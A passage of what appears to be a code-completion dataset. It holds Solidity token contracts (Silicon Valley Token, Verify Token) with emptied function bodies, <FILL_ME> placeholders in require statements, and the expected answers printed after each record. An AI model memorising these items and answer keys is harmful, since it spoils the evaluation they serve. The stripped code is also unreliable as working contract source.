{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| (_from!=address(0)&&frozeds[_from]==false)||freezeEnabled==false | 325,907 | (_from!=address(0)&&frozeds[_from]==false)||freezeEnabled==false |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
require(<FILL_ME>)
_;
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| !mintFinished | 325,907 | !mintFinished |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
IERC20 token = IERC20(_token);
require(<FILL_ME>)
ReceiveTokens(_spender, _token, _value, _extraData);
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| token.transferFrom(_spender,address(this),_value) | 325,907 | token.transferFrom(_spender,address(this),_value) |
null | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
}
}
contract MonthlyTokenVesting is TokenVesting {
uint256 public previousTokenVesting = 0;
function MonthlyTokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
) public
TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable)
{ }
function release(ERC20Basic token) public onlyOwner {
}
}
contract CREDToken is CappedToken {
using SafeMath for uint256;
/**
* Constant fields
*/
string public constant name = "Verify Token";
uint8 public constant decimals = 18;
string public constant symbol = "CRED";
/**
* Immutable state variables
*/
// Time when team and reserved tokens are unlocked
uint256 public reserveUnlockTime;
address public teamWallet;
address public reserveWallet;
address public advisorsWallet;
/**
* State variables
*/
uint256 teamLocked;
uint256 reserveLocked;
uint256 advisorsLocked;
// Are the tokens non-transferrable?
bool public locked = true;
// When tokens can be unfreezed.
uint256 public unfreezeTime = 0;
bool public unlockedReserveAndTeamFunds = false;
MonthlyTokenVesting public advisorsVesting = MonthlyTokenVesting(address(0));
/**
* Events
*/
event MintLocked(address indexed to, uint256 amount);
event Unlocked(address indexed to, uint256 amount);
/**
* Modifiers
*/
// Tokens must not be locked.
modifier whenLiquid {
}
modifier afterReserveUnlockTime {
}
modifier unlockReserveAndTeamOnce {
require(<FILL_ME>)
_;
}
/**
* Constructor
*/
function CREDToken(
uint256 _cap,
uint256 _yearLockEndTime,
address _teamWallet,
address _reserveWallet,
address _advisorsWallet
)
CappedToken(_cap)
public
{
}
// Mint a certain number of tokens that are locked up.
// _value has to be bounded not to overflow.
function mintAdvisorsTokens(uint256 _value) public onlyOwner canMint {
}
function mintTeamTokens(uint256 _value) public onlyOwner canMint {
}
function mintReserveTokens(uint256 _value) public onlyOwner canMint {
}
/// Finalise any minting operations. Resets the owner and causes normal tokens
/// to be frozen. Also begins the countdown for locked-up tokens.
function finalise() public onlyOwner {
}
// Causes tokens to be liquid 1 week after the tokensale is completed
function unfreeze() public {
}
/// Unlock any now freeable tokens that are locked up for team and reserve accounts .
function unlockTeamAndReserveTokens() public whenLiquid afterReserveUnlockTime unlockReserveAndTeamOnce {
}
function unlockAdvisorTokens() public whenLiquid {
}
/**
* Methods overriding some OpenZeppelin functions to prevent calling them when token is not liquid.
*/
function transfer(address _to, uint256 _value) public whenLiquid returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _value) public whenLiquid returns (bool) {
}
function approve(address _spender, uint256 _value) public whenLiquid returns (bool) {
}
function increaseApproval(address _spender, uint256 _addedValue) public whenLiquid returns (bool) {
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenLiquid returns (bool) {
}
}
| !unlockedReserveAndTeamFunds | 325,917 | !unlockedReserveAndTeamFunds |
null | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
